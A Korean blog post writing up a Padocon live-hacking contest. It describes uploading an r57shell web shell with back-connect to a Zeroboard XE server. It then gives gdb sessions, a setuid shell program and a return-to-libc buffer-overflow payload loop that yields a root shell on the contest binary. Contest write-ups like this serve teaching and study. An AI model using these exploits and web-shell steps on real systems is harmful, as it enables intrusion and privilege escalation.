금일 파도콘 컨퍼런스에 가서 라이브 해킹 대회가 있어 msi님이랑 참여하여 우승을 하였습니다 😀
대회에 대한 자세한 풀이를 기록 합니다..
1. 첫번째 문제 - Zeroboard XE
첫번째 문제는 Zeroboard XE 관련 문제 였습니다. 게시판에 이미지 파일을 하나 올려 확인한 결과 이미지 첨부파일이 위치하는 경로(/public_html/zbxe/files/attach/images)가 디렉토리 인덱싱이 가능한 것을 확인하였습니다.
따 라서 첨부파일이 위치하는 경로(/public_html/zbxe/files/attach/binaries)도 인덱싱이 될거라 생각하고 확인을 한 결과 인덱싱이 가능한 것을 확인하였습니다. 그래서 r57shell 웹쉘을 업로드 하여 r57shell 기능에 있는 Back-connect 기능을 이용하여 nobody 권한을 획득할 수 있었습니다.
2. padocon 바이너리
nobody 권한으로 확인한 결과 /tmp/padocon 바이너리가 padocon 권한으로 setuid가 걸려있는 것을 확인할 수 있었습니다. 이제 /tmp/padocon 바이너리를 분석해 보겠습니다. 바이너리를 다운로드 하여 IDA의 Hex-Ray 플러그인을 이용해 확인해보면 아래와 같습니다.
padocon() 함수는 아래와 같습니다.
if문을 우회하여야 하나 생각하다 그냥 단순히 오버플로우 시켜 padocon 함수로 흐름을 이동시키면 될 거라 생각하고 풀이를 시작하였습니다. gdb를 이용하여 padocon() 함수의 주소를 확인한 결과 0x8048414 였습니다.
이제 공격을 해보도록 하겠습니다.
권한을 획득 하였습니다.
3. livehack 바이너리
권한 획득 후 /home/padocon 폴더에서 livehack 바이너리 파일이 있는 것을 확인하였습니다. 해당 파일에 livehack 권한의 setuid 가 걸려 있는 것을 확인하였습니다.
역시 IDA의 Hex-Ray 플러그인을 이용하여 확인하여 보았습니다. 아주 간단하군요?
비실행 스택이였으므로 RTL 기법을 이용하여 공격이 가능하리라 보고 공격을 시도하였습니다.
byjjoon@Ubuntu:~/Padocon$ gdb -q livehack
(no debugging symbols found)
(gdb) disassemble main
Dump of assembler code for function main:
0x08048384 <main+0>: push %ebp
0x08048385 <main+1>: mov %esp,%ebp
0x08048387 <main+3>: sub $0x58,%esp
0x0804838a <main+6>: mov 0xc(%ebp),%eax
0x0804838d <main+9>: add $0x4,%eax
0x08048390 <main+12>: mov (%eax),%eax
0x08048392 <main+14>: mov %eax,0x4(%esp)
0x08048396 <main+18>: lea -0x50(%ebp),%eax
0x08048399 <main+21>: mov %eax,(%esp)
0x0804839c <main+24>: call 0x8048298 <strcpy@plt>
0x080483a1 <main+29>: mov $0x0,%eax
0x080483a6 <main+34>: leave
0x080483a7 <main+35>: ret
End of assembler dump.
(gdb) b *main+29
Breakpoint 1 at 0x80483a1
(gdb) r AAAABBBBCCCC
Starting program: /home/byjjoon/Padocon/livehack AAAABBBBCCCC
(no debugging symbols found)
(no debugging symbols found)
Breakpoint 1, 0x080483a1 in main ()
(gdb) x/32wx $ebp
0xbfae3ab8: 0xbfae3b18 0xb7e73685 0x00000002 0xbfae3b44
0xbfae3ac8: 0xbfae3b50 0xb7fc9b38 0x00000001 0x00000001
0xbfae3ad8: 0x00000000 0x080481e8 0xb7fb6ff4 0x080483c0
0xbfae3ae8: 0x080482b0 0xbfae3b18 0x4dd5803e 0xdfcc942e
0xbfae3af8: 0x00000000 0x00000000 0x00000000 0xb7fdd090
0xbfae3b08: 0xb7e735ad 0xb7fe5ff4 0x00000002 0x080482b0
0xbfae3b18: 0x00000000 0x080482d1 0x08048384 0x00000002
0xbfae3b28: 0xbfae3b44 0x080483c0 0x080483b0 0xb7fd7f50
(gdb) x/32wx 0xbfae3b44
0xbfae3b44: 0xbfae596e 0xbfae598d 0x00000000 0xbfae599a
0xbfae3b54: 0xbfae59aa 0xbfae59b5 0xbfae5a06 0xbfae5a28
0xbfae3b64: 0xbfae5a3b 0xbfae5a48 0xbfae5e71 0xbfae5e7d
0xbfae3b74: 0xbfae5eca 0xbfae5ee1 0xbfae5ef0 0xbfae5f0a
0xbfae3b84: 0xbfae5f1b 0xbfae5f24 0xbfae5f3b 0xbfae5f4e
0xbfae3b94: 0xbfae5f56 0xbfae5f66 0xbfae5f9b 0xbfae5fbb
0xbfae3ba4: 0x00000000 0x00000020 0xb7fe4420 0x00000021
0xbfae3bb4: 0xb7fe4000 0x00000010 0x0febfbff 0x00000006
(gdb) x/s 0xbfae596e
0xbfae596e: "/home/byjjoon/Padocon/livehack"
(gdb) x/s 0xbfae598d
0xbfae598d: "AAAABBBBCCCC"
(gdb) x/32wx $esp
0xbfae3a60: 0xbfae3a68 0xbfae598d 0x41414141 0x42424242
0xbfae3a70: 0x43434343 0x08049500 0xbfae3a88 0x08048265
0xbfae3a80: 0xb7f7a849 0xb7e8be55 0xbfae3ab8 0x080483d9
0xbfae3a90: 0xb7fb6ff4 0xbfae3b50 0xb7fb7ca0 0xb7fb6ff4
0xbfae3aa0: 0xb7fd7f50 0x080482b0 0x00000000 0xb7fb6ff4
0xbfae3ab0: 0x080483c0 0x080482b0 0xbfae3b18 0xb7e73685
0xbfae3ac0: 0x00000002 0xbfae3b44 0xbfae3b50 0xb7fc9b38
0xbfae3ad0: 0x00000001 0x00000001 0x00000000 0x080481e8
ret를 execl() 함수까지 올리기 위한 개수를 확인해 보겠습니다.
execl() 함수 주소를 확인을 해보도록 하겠습니다.
byjjoon@Ubuntu:~/Padocon$ gdb -q livehack
(no debugging symbols found)
(gdb) b main
Breakpoint 1 at 0x804838a
(gdb) r
Starting program: /home/byjjoon/Padocon/livehack
(no debugging symbols found)
(no debugging symbols found)
Breakpoint 1, 0x0804838a in main ()
(gdb) x/x execl
0xb7f09450 <execl>: 0x53565755
이제 인자로 넣을 코드를 작성 후 공격을 해보도록 하겠습니다.
byjjoon@Ubuntu:~/Padocon$ cat shell.c
int main()
{
setreuid(geteuid(), geteuid());
setregid(getegid(), getegid());
execl("/bin/sh", "sh", 0);
}
byjjoon@Ubuntu:~/Padocon$ gcc -o shell shell.c
shell.c: In function ‘main’:
shell.c:5: warning: incompatible implicit declaration of built-in function ‘execl’
shell.c:5: warning: missing sentinel in function call
byjjoon@Ubuntu:~/Padocon$ while(true) ; do ./livehack `python -c "print 'AAAABBBB' + '\xa7\x83\x04\x08'*53 + '\x50\x94\xf0\xb7' + ' ./shell' + ' ./shell'"`; done
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
.
.
[중략]
.
.
Segmentation fault
Segmentation fault
# id
uid=0(root) gid=1000(byjjoon) groups=4(adm),20(dialout),24(cdrom),46(plugdev),108(lpadmin),123(admin),124(sambashare),1000(byjjoon)
#
권한을 획득 했습니다. 참고로 위 풀이에서는 shell.c 파일을 컴파일 하여 풀이를 하였지만 실제 대회 서버에서는 gcc 권한이 없어 제 Vmware에 있는 Ubuntu 서버에서 컴파일 한 후 업로드를 하여 풀었습니다. 업로드 시 chmod 명령어 역시 권한이 없어 tar로 묶어 업로드 하여 해제하게 되면 실행권한이 붙어 나오게 됩니다. 이를 이용하여 풀 수 있었습니다.
마지막으로 이미지를 변경한 모습입니다. 이미지는 msi님의 센스! ㅋ
Ps. 위 설명은 실제 대회 서버가 아닌 대회 후 Ubuntu 8.10 에서 대회 바이너리를 이용하여 한 풀이 입니다. 주소만 조금 다를 뿐 풀이는 같습니다.